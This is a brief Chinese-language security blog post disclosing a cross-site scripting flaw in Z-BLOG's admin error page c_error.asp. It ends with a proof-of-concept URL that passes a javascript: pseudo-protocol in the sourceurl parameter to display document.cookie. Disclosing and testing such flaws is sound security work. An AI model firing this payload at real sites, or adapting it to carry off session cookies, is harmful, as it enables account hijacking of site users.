WoYiGui's BloG | 关注安全测试

漏洞描述：
Z-BLOG后台登陆错误信息显示文件c_error.asp，虽然对跳转URL的参数sourceurl进行了编码，但没有判断链接头部，执行了javascript伪协议，造成跨站脚本漏洞。
漏洞测试：

http://www.woyigui.cn/function/c_error.asp?errorid=7&number=0&description=&source=&sourceurl=javascript:alert(document.cookie)

转载请注明：woyigui's blog [http://www.woyigui.cn/]
本文标题：Z-BLOG XSS Vulnerabilities
本文地址：http://www.woyigui.cn/2009/06/12/Z-BLOG-XSS-Vulnerabilities/